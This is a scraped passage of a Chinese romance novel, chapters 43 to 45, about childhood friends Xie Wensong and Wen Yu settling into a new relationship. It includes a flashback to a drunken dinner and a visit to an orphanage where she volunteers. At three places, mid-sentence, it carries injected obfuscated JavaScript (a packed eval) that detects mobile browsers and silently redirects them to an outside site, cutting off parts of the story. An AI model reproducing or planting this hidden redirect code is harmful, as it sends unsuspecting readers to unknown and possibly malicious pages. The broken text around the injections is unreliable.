一秒,两秒。 她不说话,他就一直那么看着她。 温遇刚涌上来的火气就这么被熄灭了,只能叹口气:“我给你揭。” 她倾身过去,动作明显小心多了,“你抬点头。” 也许是太小心翼翼,温遇撕得太慢,揭一点停一下。 谢闻颂偏头咳嗽,双手撑在沙发面,上身往后仰退了点距离,看着她笑:“有点痒。” 往后退的那瞬间,他额发蹭过温遇的侧脸。 原本不痒的。 这下她也开始痒了。 温遇把创可贴揭下来,顺手扔在垃圾桶里,另一只手接过指缝间夹的棉签,将酒精涂在他的伤口上。 某人偏头看她:“现在贴创可贴?” 温遇摇摇头:“我给你吹吹,让酒精干快一点。” 她小口将气流吹向谢闻颂颈侧,吹完抬头询问:“还疼吗?” “不疼。” 谢闻颂将她耳后多余跑到前面的碎发重新拨回去,“一直都不疼。” 手指穿过她发丝,一路从触碰的地方到心尖轻微过电,不猛烈但足够令人战栗的酥麻感逐渐遍及全身。 谢闻颂毫不掩饰的目光将她的轮廓寸寸描摹,怎么看也看不够似的。 温遇自然感觉到他扑面而来的气息,微微发烫的呼吸就足够让她脸热了。 也就是这个时候,她发现这个气氛不太对。 刚才谢闻颂往后退,半倚在沙发靠背,而她为了给他颈侧伤口消毒,双腿跪在他大腿旁边,整个人半趴在他身上,此刻稍微拉开点距离,像被他圈在怀里。 松开撑在沙发上的手,她整个人都重心会落到谢闻颂的身上。 捏住棉签的手指无意识收紧,温遇想从沙发上下来,一只脚还没触碰到地面,谢闻颂横在她身后的手臂轻轻松松带着又给她揽回去了。 男人的头埋在她一侧颈窝。 只是用额头贴着,仿佛在从她身上攫取一点温度就好。 温遇没有拒绝,只是垂眼盯着他的发顶。 这样的碰触暧昧但不轻佻。 反而心口炽热得可怕。 谢闻颂的声音几层过滤,摸不到情绪。 “靠一会,等干了再贴。” “鱼鱼。” …… 《冬灯》拼图放在很醒目的位置,谢闻颂不需要花很多时间去找就能看见。 客厅没开灯,谢闻颂靠在墙上,双手交叠在胸前,视线一眨不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369500|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨盯着那副拼图。 黑暗里金箔闪烁细碎金光,仿佛小心拢在掌心害怕吹灭的火苗。 曾经他也是小心翼翼怀着这样的心情一点点跟在温遇身后。 只有在她看不见得地方,他才不用那么克制自己的眼神。 视线给到不远处沙发,女孩正躺在上面睡着,刚才明明是他借她倚靠,她却先困了。 最后折腾半天迷迷糊糊靠在他怀里,说谢闻颂我好困。 他也不知道她怎么那么爱犯困。 可能是冬天太冷,这只小兔子总想找暖和的地方待着,拥有属于自己的冬眠时光。 谢闻颂没这么搂过她,动作也有点不知所措,生怕磕到她哪。 核桃很乖地一声没叫,安静匍匐在茶几旁,只是偶尔从地上坐起来眨着黑葡萄眼盯向他们,小狗有小狗的好奇。 谢闻颂在墙边靠了会,才往沙发的方向走,感觉温遇差不多会这个时候醒,他提前晾了杯温水放在茶几上。 他半弯着腰用手背蹭了蹭温遇的侧脸,她感觉到,眯起眼睛看他,然后咬字很慢喊他的名字。 “谢闻颂。” 声音像融化的棉花糖,一点点浇淋在他的心脏上。 “嗯。” 温遇起身发现毛毯滑落到腿上,肯定是谢闻颂给她罩上的,用手背揉起眼睛:“你怎么没有休息啊。” 谢闻颂伸手把温水递到温遇唇边。 “我休息过了。” 温遇没想到谢闻颂连她睡醒之后的温水都准备好,温度不冷不热,从入口滑到喉咙,感觉整个人都苏醒过来。 让温遇的眼睛稍微缓了缓,谢闻颂才打开客厅的灯,拼图已经被他拿到宽敞的茶几上,剩余的碎片也基本被他分好。 掌心的瓷杯仍有余温。 温遇突然沉默下来,怔怔看着他不说话。 “怎么了。”谢闻颂探身试探她手里瓷杯的温度:“凉了?” 她摇头,长发乖巧垂在脸侧,像垂耳兔的耳朵。 女孩似乎想了会才开口:“谢闻颂。” “嗯。” “你觉得我们现在这样的相处模式,是你想要的那种吗?” 谢闻颂稍微琢磨下她的话,这次换他喊她的名字:“温鱼鱼。” “啊。” 他摁灭手机屏幕,单手撑在沙发上看她:“你是不是不太了解我。” 温遇反应慢一拍:“什么意思?” “我想要的,从来都是和你待在一起。” 多让人心神震撼的一句话,他就这样认真而又看上去轻松地说出来,温遇完全没料到他会这么直接,眼神里的情绪肉眼可见变了变。 “你……” 她甚至连吐出一个单音节字都很困难。 “我知道你可能还不适应。”谢闻颂垂头笑了下,再抬眸时换了种安慰她的眼神:“你不太适应我们这种关系的突然转变,前面一起走过的那么多年就算有所铺垫也不能无缝衔接到这。” 温遇见他轻易读懂了自己的沉默,也知道他接下来要说的话或许比前面更重要。 “所以,你可以慢慢适应这段关系,或近或远,都由你来主导。” 说到这,谢闻颂明显顿住,“如果你最后考虑这段关系并不是你所期待的,不用继续勉强自己。” 他眼里一点失望也没有,温遇不知道后半句是他抱着怎样的情绪说出来。 “如果真的有那一天,不想继续就告诉我。” 这个话题聊起来不知为何有些滞涩,温遇咬紧嘴唇。 “鱼鱼。” “不要让自己因为一个人而变得不快乐,哪怕这个人和你关系不错。” 谢闻颂唇边弧度很浅,和以往每个他惯常展现出来的表情都不同。 更像是一种不舍得她难过的表情。 温遇不是没有感觉到。 他真的把她当做很重要的人。 不止是因为并肩成长的二十多年。 还因为她是他喜欢的人。 他曾经说过最好的回忆要给最好的温鱼鱼。 不止回忆,任何他能做到的,并且是真正为她好的事情—— 谢荔枝都要给温鱼鱼。 公主披荆斩棘将皇冠戴在头上就足够了。 那些令她不快乐甚至是烦恼的事,全都交给他处理就好了。 哪怕烦恼也许某天会变成他。 43.荔枝 43/ 第二天是过年后的第一个工作日,谢闻颂看差不多到点就打算离开。 他不太想让温遇熬夜。 《城市之光》自然没有拼完,剩了得有一半,两个人都约定下次找机会再拼,于是以晚安作为话题最后结束,谢闻颂带着核桃回到隔壁。 刚把门拉上,他靠在门板里侧,微微扬起头。 核桃没再像往常的那样一进屋就直奔自己的小窝休息,今天它也在门口守着,不停用毛茸茸的小脑袋蹭谢闻颂的裤腿。 不出意外,这一会儿的功夫,深色裤腿已经被金黄色的毛粘了不少。 不过谢闻颂倒是一点没在意,反而蹲下身,抬手撸起它的头。 小狗被养得很好,一身的毛带着柔润光泽,掌心触碰上去柔软细腻,核桃耷拉耳朵,水汪汪的葡萄眼满是天真。 可能是因为小狗并没有烦恼,所以感知情绪的本领总是很强。 核桃往他怀里凑了凑,小鼻子不停在他脸上蹭。 这是它对他安慰的一种表示。 谢闻颂抱着它,低喃。 “你也感觉到我情绪不太高了?” 他歪头盯着小狗,语气开玩笑似的:“最近怎么这么聪明?” 可惜小狗不会说话,只能用动作表明它此刻的心情。 他想,这样也足够了。 核桃在屋里跑两圈就累了,叼着小球回到自己的窝里。 谢闻颂刚想把手机放在餐桌上去洗澡,新闻推送一则简讯。 正是陆星桓求婚季霖菲的现场照。 地点是在春茶的包厢。 已经是两天前的事了,现在才爆出来。 他稍微想想就知道是怎么回事。 谢闻颂就手点开,看了眼热度,目前已经挤上微博词条,阅读量呈上升趋势。 简单扫了两眼他就关掉手机,仿佛什么也没发生过。 - 谢闻颂第一次听到温遇亲口承认喜欢陆星桓,还是在她大学刚毕业那会。 温遇没有读研的想法,最后四年的学生生活彻底结束,几个平时关系还算好的人在一起攒了个局,扬言是要与自己的青春做告别。 现在看起来相当中二的一句话,在当时却被所有人奉为真理。 奇怪的是,每段特定的时光都有之后无法再次体悟的心情,或许也正是因为这个原因,所以当下永远比过去重要。 谢闻颂那天正好有点事,赶过去的时候饭局已经进近尾声,温遇正和程以桉边划拳边喝酒,嘻嘻哈哈的笑声从老远就能听见。 他知道她酒量就那么一丁点,喝多了自然不太承受得住。 程以桉也没比她好多少,脑袋摇摇欲坠,谢闻颂都怕她别没撑住咚一下直接砸桌面上。 通讯录里存了程以灏的电话,他直接拨过去,简单把事情说清楚就挂断,然后自然而然坐在温遇的旁边。 小矮板凳,坐得不是那么舒服。 不过他倒也能忍。 程以桉比温遇先认出他,眼神明显不那么迷茫了,甚至连划拳的动作都被镜头拉慢。 刚才还在大笑的两人此刻安静得像两只鹌鹑。 怎么突然就不说话了。 谢闻颂也不知道自己是骂她们还是打她们了,甚至拿黑掉的手机屏幕照着自己那张脸,他心想自己脸色应该也没那么臭吧。 温遇明显是有点喝高,双颊通红不说,眼神聚焦到他身上都费劲,不知道的人以为她眼睛上被涂辣椒水了。 “……” 谢闻颂就那么面无表情地看着她。 温遇感觉裸露在外的胳膊都被这人眼神熏得冷飕飕,心底一怵,下意识伸出手挡在嘴边。 眼神往他这边瞟,话却是对着程以桉说的。 她自以为说得很小声,其实声音大得隔壁桌都能听见。 于是谢闻颂就这么光明正大偷听这两个人的“悄悄话”。 “这谁啊。” “?” 程以桉听清后面露惊恐,瞟了眼某人没什么表情的那张脸,善意提醒:“你别装傻,好好说话。” 本以为这一句能唤醒温遇的理智,没想到理智没唤回来,她还竟然大胆往谢闻颂那边贴了贴,双眼在他脸上迷茫地瞅了一圈,然后把刚才的问题重新抛还给程以桉。 “谁啊?” 谢闻颂不躲不避,任由眼前女孩带着轻微酒气的面庞靠近,甚至还挺有兴致地勾唇。 没有一点要生气的意思。 反而期待她究竟想对他做什么一般。 程以桉还没说话,倒是他开口。 “嗯,我是谁?” 温遇现在看他跟看万花筒里的图案没什么区别,像招小狗似的朝他招招手,他凑近才看到女孩睫毛上都有些濡湿,谢闻颂还在想她们刚才聊了什么才让她连眼泪都能掉下来。 谢闻颂配合她凑近,温遇低垂的手突然轻轻扯住他衣摆,小脑袋凑近盯着他的脸庞,像小猫一样凑上来。 眼神比刚才清明些,谢闻颂刚想坐直身发现自己上衣衣角还在她手中,索性维持刚才的姿势不动。 “你是——” 温遇刚做出口型,旁边传来一道声音:“打扰了。” 谢闻颂转头,看见程以灏刚从门口进来。 毕竟他是自己喊来的,谢闻颂稍微点了下头,示意对面正趴在桌面上的是程以桉。 “多谢。” 程以灏拍肩膀叫醒程以桉,扶着她站起,见她喝的酒应该不少,也缓缓皱起眉,想说几句看见对面的温遇也是这个状态,又把话憋了回去。 刚把程以桉扶起来,还没走几步就听见什么东西砸在地上,程以灏回头一看是她的包。 双手都在扶着程以桉,他不太方便把包拿起来,只好隔着塑料帘朝外面喊了声:“星桓。” 她们今天聚餐找的地方比较随意,又坐在靠门口的位置,这个点吃饭人多,闹哄哄的声音连成一片。 不过谢闻颂还是听清他口中的名字。 摆弄酒杯的手稍微停顿,他脸庞一侧被温遇的掌心贴上,“你让我再看一下。” 面前坐着个祖宗,谢闻颂哪儿还有空管别人,见程以桉已经被人接走,他自然是要安下心照顾这个。 陆星桓听见程以灏喊他,进来帮忙把掉在地上的包捡起来,正打算离开,瞥见对面的女孩正在摸谢闻颂的脸。 本来他并无意多做停留,只不过他认出来那是温遇。 虽然不算深交,但是也足够让他停下来了。 谢闻颂的余光从陆星桓拂开塑料帘进来的那一瞬间就注意到了,见他没有要走的意思才从温遇那移开视线。 四目相对,两个人就像路上擦肩而过的随意一瞥,都没什么情绪。 陆星桓和谢闻颂不熟,他也不太了解温遇和谢闻颂的关系,所以斟酌着才问一句:“你送她回家吗?” “嗯。” 谢闻颂跟不熟悉的人并不想多做什么解释。 “好,那我先走了。” 陆星桓点头,他刚才看到温遇喝醉后依赖他的样子应该做不得假,毕竟用手贴脸这种亲密的事如果不是关系熟不到一定程度也不会这样做。 陆星桓没有过多停留,谢闻颂还没彻底收回视线,刚才扯皱的衣服就又重新被人攥在手里。 温遇愣愣看向刚才陆星桓站的位置,然后扭头瞅他,明显在确认一件事。 “刚才那人是陆星桓吗?” 她口中咬字清晰的名字让谢闻颂沉默下来,他没回答,只是眼波晦暗不明。 她连自己都没认出来,倒先认出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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谢闻颂单手搭在方向盘上,不发一言。 很早之前多多少少发现了点苗头,本来还不确定她喜欢的人是谁。 刚才上车前确认了大半。 “你喜欢陆星桓?” 本以为她会沉默或者当作没听见避开这个问题,温遇却是直接嗯了一声。 短短一个音节,他听到了她的肯定。 那一刻最先袭来的其实不是失落和遗憾,谢闻颂是真的觉得,温遇比他勇敢。 她是公主从来不只是说说而已,她一路成长从来都不容易,拿勇气淬炼一颗水晶般剔透的心脏,身上的血肉早在一次次冒险里逐渐丰满,最终成长为一个温柔、坚强而又勇敢的灵魂。 她最终触摸到的那个发着金灿灿光的皇冠,是赠予她成长的最好礼物。 只是这样的公主,并不喜欢他。 不是她的遗憾,而是他的。 是暗恋,也是初恋。 是一生仅有一次的初恋。 床头柜的熊兔小夜灯还在工作,谢闻颂伸手将它熄掉。房间中唯一的光源被剥夺,他也终于有时间去面对那个站在心房正中央的自己。 他自然而然想到温遇,想到之前发生过的事情。 小时候觉得实现愿望就很开心,长大之后发现取得好成绩,上到好学校是最重要的,这种为了目标而奋斗所达成的快乐在感情中却并不对等。 因为感情永远是两个人的事。 所以谢闻颂愿意给她时间去适应这段关系,就算最终也许会有并不如他所想的那般顺利,他也希望他能带给温遇的,更多是快乐。 44.荔枝 44/ 和谢闻颂拼拼图那晚过去以后,温遇在相当一段时间内仿佛和他又回到之前的相处节奏。 除了手机上每天互道早安晚安的固定流程,其他基本和之前无异。 偶尔在门口遇见,也是互相摆摆手,眼神短暂相接,像那天晚上触碰脸颊之类属于亲密的事,再也没发生过。 以至于有时候温遇甚至都会恍惚。 恍惚他们的关系是不是突然穿梭回到了以前。 可是明明又没发生什么,为什么会产生这样的感觉? 他们之间也没发生任何不愉快的争吵,却仿佛在两人间形成找不到原因的细微时差。 这段感情里迟钝的明明是她,可是现在,却后知后觉地敏锐起来。 温遇也在想这到底是为什么。 手机里,谢闻颂按时发来早安的信息,晨光打在上面,昭示这是普通不能再普通的一天。 过年之后没几天就到立春,温遇手机收到一条特别的信息。 是郝院长,问她今年也还是这个时间来吗。 温遇在车站等车时认真打字回复:是的。 每年温遇都会去福利院做志愿,最开始是每个假期都去,只是现在有工作要忙,去的时间就不如从前多。 要说这事是怎么开头的,还得从初中开始说起。 她上初中时温途出生,那之后家里的氛围在很长一段时间内都很低迷,全家都不太接受这个后降临的孩子竟然背负这样的疾病,于是带着他遍寻名医,从开始的祈求治愈,最后变成只为能让孩子平安长大。 温遇也希望温途情况能恢复好一些,还有一部分原因,就是不想让父母太过伤心,但她能做的又太少。所以她总是先努力做好自己的事,把成绩考上去,尽量不让自己分他们的心。 但她也有私心。 她想让爸爸妈妈能留哪怕三分之一的关心和爱给她,弟弟生病需要更多关爱她从没计较过,也没想过分走他的宠爱。 不让父母分心,但并不是不想要父母对自己的爱。 所以温遇只想要三分之一,她也只求不要压缩自己的三分之一。 这些心里话她从来都没和徐翩禾和温成钢说过,因为懂事的人总是表面波澜不惊,只是在心掀起惊涛骇浪。 慢慢的,“懂事”不再是一种性格。 它是一种无奈和妥协,时间一长,心匣的锁被锈蚀,就再难打开。 她也是一样。 温途的疗程里包含一定程度的思维训练,温遇不太懂这个,一次偶然巧合来到福利院做志愿,这里有一小部分孩子是存在心理疾病或身体缺陷的,温遇第一次尝试和他们交流时,还碰了一鼻子灰。 其实他们的心脏也上了一把锁,等待被打开。 温遇在某些时刻也能看到自己的影子。 有些孩子因为听力障碍,只能通过打手语的方式表达自己想说的话,温遇特地去学了这方面的交流。 刚回复完院长的消息,温遇退出消息栏,看见谢闻颂发来的消息,问她周末要不要一起吃饭。 刚才的恍惚的后遗症好像到现在还没消退。 每次来福利院的事基本只有她一个人知道,温遇也没有告诉任何人自己做着这样的事。 她觉得不需要。 这是一件再寻常不过的小事。 平常到无需和其他人刻意提起。 不过这次,她有了不一样的想法。 温遇抿抿唇,将脸埋在围巾里,打字给他回。 小鱼丸了:这个周末可能不太行,我有件事要忙。 顿了顿,温遇还是选择补充一句。 小鱼丸了:不过如果你愿意的话,可以和我一起去。 - 谢闻颂没什么犹豫地就答应了,温遇还在想他怎么没多考虑考虑,只不过这话没放在信息里问,留到了当天和某人见面的时候。 立春刚过,室外的气温却不降反增。 温遇戴了条颜色鲜艳的红流苏围巾,长发被红围脖兜在里面,谢闻颂本想帮她挑开,手还没伸出去,温遇往旁边躲了一下,然后认真反驳。 “这样暖和。” 等上了车以后,谢闻颂刚把暖风打开,温遇就把围巾摘下来,一脸狡黠地歪头和他说:“谢闻颂,你过来点。” 谢闻颂刚把安全带系上,闻声转过头,他看见已经被温遇从脖子上拿下来的围巾,只一眼就知道她想干嘛。 毕竟小兔子从来不会将胡萝卜藏很好。反而总是露出那毛绒球一般的尾巴。 心底因为她这个举动陷下去一块,谢闻颂面色不改,单手配合打开安全带卡扣,靠近温遇的那只手在两座位中间撑住,乖乖把上半身凑过去。 温遇还以为自己伪装得足够好,但其实是谢闻颂太配合,不过不管怎样,她都达到了自己的目的,便也不去深想。 温遇得逞,没犹豫抬手将红围巾一圈圈绕在谢闻颂的脖子上,不过绕几圈没停,而是将整条绕在他脖子上,直接把他的下巴都淹没进去。 看上去相当滑稽,仿佛他被一条大蟒蛇缠住。 而温遇也确实不太客气地直接笑出声。 谢闻颂只感觉脖子沉得要命,不过在那瞬间,他的第一反应不是拿开,而是突然认可温遇躲开他手时说的那句话。 好像确实很暖和。 温遇见谢闻颂就那么乖任由她把围巾裹了一圈又一圈,也没有要拿下来的意思,笑过之后也觉得自己做得不太厚道,招招手让谢闻颂过来点。 “我给你摘下来,要不然太闷了。” 温遇正要给他把围巾松下来,抬到一半被他圈住手腕,拉扯间距离骤缩。 近到余光里都被彼此占据,呼吸都被逼停。 她唇边还没散去的笑意因为谢闻颂这一举动浅淡几分,更多是突如其来的愣怔。 谢闻颂伸手,柔软的指腹蹭掉她脸上绒毛,顺带习惯性捏捏她的脸颊,手腕还被他牵着,温遇只感觉脑袋轰一下。 这样近距离捏脸也是很亲密的动作。 距离太近,视线连错开都很难,她没法躲,于是眼神不受控落在谢闻颂的脸上。 “谢——” 心口猛烈跳动,温遇刚蹦出一个字,谢闻颂已经松开她的手,回到自己的位置上,缓缓把围巾解开,最后只剩一圈松松垮垮套在脖子上。 “确实挺暖和的。” 温遇也没想到他这么快就松手,触碰过的皮肤现在还有余温。 她腾出手拍拍脸颊,试图用微凉的掌心降温。 车已经开出去一会儿,温遇想起上次聊天后憋到现在的疑问,在这时问出口。 “谢闻颂,你为什么选择和我一起去?” “温鱼鱼。”谢闻颂踩下刹车等红灯,喊了她名字然后才继续说:“我们是什么关系?” 温遇试图在想两个问题的关联点,直至绿灯亮起她都没想明白:“我们是……” “男女朋友”四个字堵在嗓子眼说不出来。 温遇在想这段关系怎么羞耻到连在他面前摊开说都这样不大方。 她以前从来不会这样。 低头摆弄外套上的拉链,温遇半晌才能把这四个字说出来,细若蚊鸣。 她说完,谢闻颂才把她刚才没想明白的关联点继续阐明。 “对啊,所以重要的是女朋友去哪。” 语气还挺骄傲。 相比于她,谢闻颂这三个字说得倒是一点也不拖泥带水。 到底是最先开始喜欢的人,这条路他真的走得好长。 长到途经的每一处路标,他都熟稔于心。 他远比温遇要更适应这段关系,所以这也是谢闻颂在那天晚上说给她时间的原因。 谢闻颂从兜里摸出几颗铝纸包裹的青苹果软糖,手臂跨过中央的储物格放到温遇手心,指尖像片羽扫过,挠得人心痒痒的。 他侧着头,微微弯起唇角。 “我这人听话。” “女朋友去哪我去哪。” …… 院长办公室在福利院的顶层,温遇到的时候,郝院长正在饮水机前往瓷杯里添热水,干燥茶叶被冲开,浅淡的茶香味弥漫在空气里。 温遇在他身后喊了声郝院长,中年男人转头看见她,嘿一声。 “你还挺快。” “那可不,上班不比上学,周末休息就过来了。” 郝院长笑笑没说话。 几年前,温家有一笔不小的捐款汇到了关照福利院儿童的公益组织,作为受益方之一,郝院长还单独当面感谢捐款的两人,聊天过程中得知他们的小儿子罹患唐氏病。 夫妻俩有意通过做公益的方式给孩子积攒一些好福气,希望他可以平安长大。 一次偶然的志愿活动,温遇有机会来到这里,而作为那一批唯一坚持到现在的志愿者,当郝院长得知她是当时捐款那对夫妻的女儿,也感慨命运的奇妙。 他以为温遇知道父母捐款的事,便也当作一件往事提起,只不过温遇确实不清楚,所以当时听见院长这样说,也是一阵愣神。 不过她当时没有什么情绪外露,让郝院长以为她的确知道。 两个人简单交流之后,温遇希望郝院长能替她保守秘密,不要告诉她父母自己来这里做志愿的事。 虽然不知道她这样做的用意是什么,不过见温遇实在不想让别人知道,他还是选择答应下来。 郝院长端着搪瓷杯,视线扫过她身后的谢闻颂。 只一眼,他就觉得这应该不是普通人。 郝院长这个年纪,形形色色的人也基本都见过,所以也敏锐察觉到谢闻颂的不简单。 不管是气场,还是整个人给他的感觉。 郝院长的眼神明显是在问谢闻颂是谁,站在温遇身后的某人也边插兜边往她身边靠近了点。 谢闻颂也想知道温遇是怎么介绍自己的。 温遇只是笑笑,并没有将关系彻底点破,毕竟她今天来的目的也不是这个。 “今天多带个朋友,您别介意。” 郝院长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411694|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎明白她的意思,笑了两声,连连摆手:“不介意,谢谢你们。” 廊道只剩他们两个人,温遇转身正要走下楼梯,身后明显没有脚步声跟上来,她回头,嗓音平静:“走吧。” 她说完这句话也没有要继续等下去的意思,一步步迈下台阶。 谢闻颂沉默看着她背影,最后还是选择跟上去。 他们来的时间赶巧,孩子们刚吃完早饭,准备开始上午的益智活动课,温遇和工作人员一起帮忙搬道具,她抽空和谢闻颂匆匆说了句:“一会儿你可以坐在最后面休息会儿。” 撂下这句话,温遇便与他擦肩而过,去忙还未整理好的上课教具。 塑料箱里的东西分量不轻,她搬起来明显吃力,可纵使他们现在不只是普通朋友,她也不会开口主动求助他。 是她根本想不到这一层,还是从来没养成这样的习惯。 谢闻颂觉得大概率是后者。 他望向自己空空的掌心,终是叹了口气,去旁边的教室里帮他们一起搬等会要用的道具。 温遇正在把塑料箱里的七巧板摆放平整,见他过来,下意识说了句谢谢。 谢闻颂垂着眼和她一起帮忙整理东西,却始终未发一言。 没几分钟就到上课时间,老师已经装上话筒站在讲台上,底下的孩子有彼此打闹的,也有几个坐在自己的位置上忙自己的事。 温遇帮忙把上课要用到的小道具给孩子们分发,谢闻颂就靠在最后面的墙上,用目光代替脚步追寻她。 这一刻,他也有点茫然。 或许正是因为从小一起长大的原因,让他自以为自己很了解她。 可是有些时候,触碰就像隔了层磨砂玻璃,指尖被迫停顿在眼前,她的身影仍旧可以捕捉,可是你总是看不清她的脸。 除非她藏得太好,否则他也很难看透。 有小孩打闹间撞到温遇,还没等她下意识撑上桌角,谢闻颂已经上前,用手锢住了她的腰。 她还是一如既往地说谢谢,微微卷曲的发尾扫过他手背,轻柔如蝴蝶触角不经意触碰。 就像这一刻,谢闻颂明明揽着她,却仍旧感觉远如千里。 开始上课,谢闻颂和温遇坐在最后一排的空桌子上,她指尖抵住笔记本边缘,认真在上面记录着什么,长发垂落挡住她的侧脸,只能看见她写字的动作。 很生动的场景,不影响这一幕带给谢闻颂的恍惚,他甚至想用手把她的头发拢起来,或者绕在手指上一圈又一圈,只是最终还是什么都没做。 沉浸在刚才的思绪里,谢闻颂发觉温遇正用指尖戳他的手背。 她娇俏的笑脸就在旁边,阳光朦朦胧胧洒了一层,小光点在她脸上闪烁跳跃。 她在阳光下摊开掌心,然后握成拳从旁边递到他眼前。 温遇声音很小很小,但也确实是只说给他一个人听。 “谢闻颂,我抓到阳光了噢。” …… 一节课四十分钟,等下课之后,老师组织同学们去外面活动身体,一时间教室被清空,暂时只剩下他们两个人。 温遇刚想和谢闻颂说要不要也去外面待会晒太阳,有个小朋友从门外进来,伸手扯住温遇的衣角。 他不会说话,只能做手语,温遇看懂之后蹲下身给他比了个谢闻颂不太能看懂的手势。 交流过后,温遇拉上小孩的手,站起身的同时看向谢闻颂:“他说他的羽毛球被打到树上了,我看能不能找人给拿下来。” “我帮忙找个人就回来,你——” “你在这等我吧。” “我在这等你吧。” 默契总是用在不经意的瞬间提示他们关系的亲密,温遇抿唇,唇角勾起一个很小的弧度。 女孩不经意的羞涩很动人,谢闻颂抬手摸摸她的发顶:“去吧。” 教室的窗户开着,风从窗户口遛进来,把摊开的笔记本又吹开几页。 那是温遇刚才写过的笔记本。 这是一个共享笔记本,上面不只有温遇的笔记,也有其他孩子写上去的。 稚拙的笔迹大多不同,很奇妙的默契重现在此刻—— 谢闻颂认出了温遇的字迹。 更奇妙的是,风吹开了她五年前的笔记。 那时候她大概读高三。 时间轴中间的两个节点在此刻被串联。 谢闻颂用指腹摁住笔记本泛黄的页脚。 认真看下一行又一行少女撰写的几句窄诗。 人年少时。 总希望一场雨就能洗净灵魂锈蚀。 总希望光芒就像一把利剑刺穿心脏。 总以为一腔孤勇就能往山海里闯。 总是要受过一身伤才学会真的成长。 所以我不会停止记录, 我想我的眼睛里, 总会有世界。 可倘若世界太大, 就算无人为我撑伞, 我也会为自己摇旗呐喊。 落款只有两个字母:Yu。 45.荔枝 45/ 谢闻颂原本是要在教室里等她的,结果温遇说自己正在三楼美术教室和小朋友们一起画画,让他直接过来就行。 将笔记本合上重新放回原位,谢闻颂走到廊道尽头直上楼梯。 美术教室很宽敞,前后各有一个门,他从后门进去,小朋友们正每人支个小画板,一个个坐在那专心创作。 温遇正弯腰帮一个小女孩擦掉铅笔画错的地方,她指尖点在纸上,两个人也许是聊到开心的地方,不约而同笑起来。 谢闻颂就站在温遇身后,走近才听见笑声,不过他也没开口喊她,还是坐在板凳上的小女孩先发现,指了指温遇身后的人。 温遇扭头,脸上的笑容还没散去,自然而然将手上的画笔递给他:“你画吗?” 她递来的东西谢闻颂向来直接接过,就像那天吃饭结束后自动把她的包拎走一样自如,嘴里却说着相反的答案:“我不太会画。” 稍微靠后面一点的位置,温遇也给自己搬了副画架,谢闻颂就坐在她旁边,看她用铅笔在纸上勾勒线条。 她拿笔的姿势在谢闻颂看来还挺专业,只是他几乎没有多少目光是真正落在画纸上的。 旁边这道似有若无的视线,仿若透明飘带缠绕在身上,温遇根本没办法忽略。 心里不太安静,才画几下铅笔就被她放下。 温遇转头,半边头发搭在肩膀上,她把刚放下的铅笔重新塞进谢闻颂的手里,盯着他:“你画。” 结果这家伙倒是先转上笔。 小小一根铅笔在他手里也能玩出花样,温遇眼瞅着谢闻颂收了笔却仍旧没有要画的意思。 “我刚就说了,我不会。” “那你一直看我!”温遇稍微提高了点音调,有点不服的意味。 谢闻颂朝她眨眨眼:“所以学习一下你怎么画的。” “你学习刚才没看画板。” 温遇声断气不断:“你——” “刚才一直在看我。” 越说声音越小,说到最后底气都被抽走。 明明是她占理,可谢闻颂的目光倒是越来越有兴致,明显有听她说下去的意思。 温遇突然语塞,低下头默默把笔抢回来,没画几笔又给放下。 “算了,心不静,画什么都画不好。” 始作俑者一脸无辜,还支着下巴好奇似的问她:“为什么心不静?” “还不都是因为你。”温遇硬生生把后面几个字补全,“的目光。” 温遇只在说话的时候才会和他对视,说完就把眼神挪开,像生怕受到二次干扰一样。 谢闻颂看见温遇这样就很想逗她。 “那你不画了,我们做点别的吧。” 他语出惊人,再次把温遇的视线重新拉回来,女孩眼神顷刻间泄露出慌乱:“你要干什么。” 头立刻向四周瞟,像极了躲避猎物的惊慌兔子。 四目相对正是两条平行线在多维空间完美契合,温遇话音刚落,手就被人牵住了。 她下意识想挣开,谢闻颂却没给她一点机会,在不弄疼她的范围里,让她根本无法挣脱。 他们坐在最后一排,自然不会被后面的人看见,不过温遇今天当的是助教,万一有小朋友来问她绘画上的问题,正好看见怎么办。 刚才还宽敞的教室此刻不知怎么突然变得逼仄,温遇感觉自己的呼吸都开始发烫,手指蜷起,根本顾不得脸上升起的温度。 “谢闻颂!一会被他们看见了——” 她显得越急,谢闻颂就越是漫不经心,刚才的话断成两截,另一半被谢闻颂握在手里。 被他们掌心相对扣在最中间。 这一刻发生的时间极短,就连放在他们牵手的这段时间里都不足一提。 可是温遇却很明显感觉到了它的存在。 手上的温度反复交融,最后连触感都不分彼此,她刚认识到这点,谢闻颂就已经松开了自己的手。 温遇感觉心脏仿佛被蝴蝶掠过的翅膀轻轻扫动一下,不痛不痒。 两个人之间的气氛再次安静下来,温遇有些难为情地看他。 “下次牵手前,可以和我说一声。” 她感觉到谢闻颂再次投注在自己身上的目光,伸手把铅笔重新握在手里。 仿佛也攥紧了那份某种不知名的勇气。 温遇语气很低:“你不是上次说过的吗,会给我一些时间考虑。” …… 